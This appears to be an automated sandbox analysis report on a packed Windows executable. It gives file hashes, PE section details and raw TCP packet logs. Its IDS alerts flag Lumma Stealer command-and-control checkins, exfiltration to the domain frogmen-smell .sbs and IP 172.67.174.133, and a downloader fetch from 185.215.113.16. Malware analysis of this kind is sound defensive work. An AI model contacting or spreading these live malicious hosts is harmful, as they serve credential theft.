Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.628651314572673
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'160'576 bytes
MD5:	68060fee433a31ea09a47eb9fc8bb755
SHA1:	486ebae4ee282981c54274193a7e30119eae5fa5
SHA256:	0865b4e2d69561a44f8dcf4da21af282a5796756ff6151f64f051246afdeb163
SHA512:	adb5c29f5a987ec05d9db378a7e0a0af7af2290b17a590edb00426a45ea3661d20c0752fc44a2c83fcff5be72c487ef2548d6aac0510a3216f28cbbb3066ccc7
SSDEEP:	49152:1Z/Cpy5LQoQDBSfAbVXr1dMl76ySPeP/IXenVCjGr:70y5LQoQDgfs9ZdMweoXeVCir
TLSH:	21E54C61B43672CBD48ABA74C4A7CC43995C03BC075408DB99ECB4796E63FE736A6C24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....4g.............................@0...........@..........................p0.......0...@.................................T@..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x704000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6734ACF6 [Wed Nov 13 13:43:18 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F76C516FD9Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x52000	192894c3a62d8f773f53e35b50db96ac	False	0.5614073218368902	data	6.918951905498848	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	fe9e51301c5bfe20fdbabc64e4b3c262	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mmdrtuof	0x55000	0x2ae000	0x2ae000	e04a3da27690c17ebd865ebd48b5ac45	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
aunqqslr	0x303000	0x1000	0x600	9e20cc083e44b85e40e32f9ae84511b0	False	0.56640625	data	4.987528652688243	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x304000	0x3000	0x2200	8b5dc0eb3ae6c65eb4768df0c3db856d	False	0.06606158088235294	DOS executable (COM)	0.7493577609799315	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-14T17:24:19.978284+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.6	54484	1.1.1.1	53	UDP
2024-11-14T17:24:20.703930+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	49736	172.67.174.133	443	TCP
2024-11-14T17:24:20.703930+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49736	172.67.174.133	443	TCP
2024-11-14T17:24:21.306513+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49736	172.67.174.133	443	TCP
2024-11-14T17:24:21.306513+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49736	172.67.174.133	443	TCP
2024-11-14T17:24:22.075340+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	49744	172.67.174.133	443	TCP
2024-11-14T17:24:22.075340+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49744	172.67.174.133	443	TCP
2024-11-14T17:24:22.571695+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49744	172.67.174.133	443	TCP
2024-11-14T17:24:22.571695+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49744	172.67.174.133	443	TCP
2024-11-14T17:24:23.521226+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	49752	172.67.174.133	443	TCP
2024-11-14T17:24:23.521226+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49752	172.67.174.133	443	TCP
2024-11-14T17:24:24.997809+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	49762	172.67.174.133	443	TCP
2024-11-14T17:24:24.997809+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49762	172.67.174.133	443	TCP
2024-11-14T17:24:25.700022+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49762	172.67.174.133	443	TCP
2024-11-14T17:24:26.612239+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	49769	172.67.174.133	443	TCP
2024-11-14T17:24:26.612239+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49769	172.67.174.133	443	TCP
2024-11-14T17:24:28.409093+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	49780	172.67.174.133	443	TCP
2024-11-14T17:24:28.409093+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49780	172.67.174.133	443	TCP
2024-11-14T17:24:30.127399+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	49791	172.67.174.133	443	TCP
2024-11-14T17:24:30.127399+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49791	172.67.174.133	443	TCP
2024-11-14T17:24:35.542412+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	49820	172.67.174.133	443	TCP
2024-11-14T17:24:35.542412+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49820	172.67.174.133	443	TCP
2024-11-14T17:24:36.031945+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49820	172.67.174.133	443	TCP
2024-11-14T17:24:36.954284+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49830	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 14, 2024 17:24:13.102044106 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:13.102137089 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:13.102281094 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:13.102785110 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:13.102814913 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:13.484693050 CET	49673	443	192.168.2.6	173.222.162.64
Nov 14, 2024 17:24:13.484700918 CET	49674	443	192.168.2.6	173.222.162.64
Nov 14, 2024 17:24:13.812938929 CET	49672	443	192.168.2.6	173.222.162.64
Nov 14, 2024 17:24:13.908947945 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:13.909142017 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:13.953000069 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:13.953042030 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:13.953435898 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:13.962830067 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.007338047 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.134862900 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.134891033 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.134908915 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.135052919 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.135123968 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.135159969 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.135205030 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.390542030 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.390573978 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.390620947 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.390724897 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.390795946 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.390831947 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.390856028 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.473035097 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.473098993 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.473324060 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.473324060 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.473359108 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.473417997 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.474780083 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.474822044 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.474870920 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.474884987 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.474915981 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.474965096 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.494196892 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.494242907 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.494524002 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.494530916 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.494633913 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.617669106 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.617742062 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.617860079 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.617933035 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.617968082 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.617990017 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.735135078 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.735174894 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.735304117 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.735323906 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.735383987 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.888130903 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.888209105 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.888358116 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.888400078 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.888432026 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.888457060 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.978360891 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.978429079 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.978482962 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.978534937 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:14.978553057 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:14.978576899 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.095648050 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.095714092 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.095788956 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.095822096 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.095843077 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.095870018 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.214991093 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.215063095 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.215161085 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.215230942 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.215265989 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.215289116 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.367754936 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.367785931 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.367984056 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.368016005 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.368076086 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.487535954 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.487606049 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.487788916 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.487788916 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.487859011 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.487927914 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.555541992 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.555623055 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.555636883 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.555701971 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.563754082 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.563802958 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.563834906 CET	49710	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.563851118 CET	443	49710	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.624685049 CET	49711	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.624722004 CET	443	49711	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.624800920 CET	49711	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.625705004 CET	49711	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.625721931 CET	443	49711	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.627646923 CET	49712	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.627726078 CET	443	49712	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.627793074 CET	49712	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.628331900 CET	49712	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.628365040 CET	443	49712	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.629992008 CET	49713	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.630039930 CET	443	49713	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.630100965 CET	49713	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.630558968 CET	49713	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.630574942 CET	443	49713	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.631884098 CET	49714	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.631918907 CET	443	49714	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.631978035 CET	49714	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.632149935 CET	49714	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.632164955 CET	443	49714	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.633064985 CET	49715	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.633076906 CET	443	49715	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:15.633166075 CET	49715	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.633266926 CET	49715	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:15.633275986 CET	443	49715	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.408869982 CET	443	49713	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.409653902 CET	49713	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.409663916 CET	443	49713	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.410202026 CET	49713	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.410206079 CET	443	49713	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.412719965 CET	443	49715	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.413002968 CET	49715	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.413009882 CET	443	49715	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.413336992 CET	49715	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.413341999 CET	443	49715	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.414190054 CET	443	49712	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.414434910 CET	49712	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.414474010 CET	443	49712	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.414755106 CET	49712	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.414772987 CET	443	49712	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.416682959 CET	443	49714	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.416927099 CET	49714	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.416958094 CET	443	49714	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.417248011 CET	49714	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.417258978 CET	443	49714	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.426165104 CET	443	49711	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.426434994 CET	49711	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.426448107 CET	443	49711	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.426759958 CET	49711	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.426769018 CET	443	49711	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.541502953 CET	443	49713	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.541532040 CET	443	49713	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.541598082 CET	49713	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.541610956 CET	443	49713	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.541625023 CET	443	49713	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.541678905 CET	49713	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.542908907 CET	49713	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.542924881 CET	443	49713	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.542934895 CET	49713	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.542938948 CET	443	49713	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.543920994 CET	443	49712	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.543981075 CET	443	49712	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.544040918 CET	49712	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.544058084 CET	443	49712	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.544099092 CET	49712	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.544107914 CET	443	49712	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.544153929 CET	49712	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.545583963 CET	49712	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.545595884 CET	443	49712	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.546057940 CET	443	49715	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.546125889 CET	443	49715	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.546186924 CET	49715	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.548834085 CET	443	49714	13.107.246.45	192.168.2.6
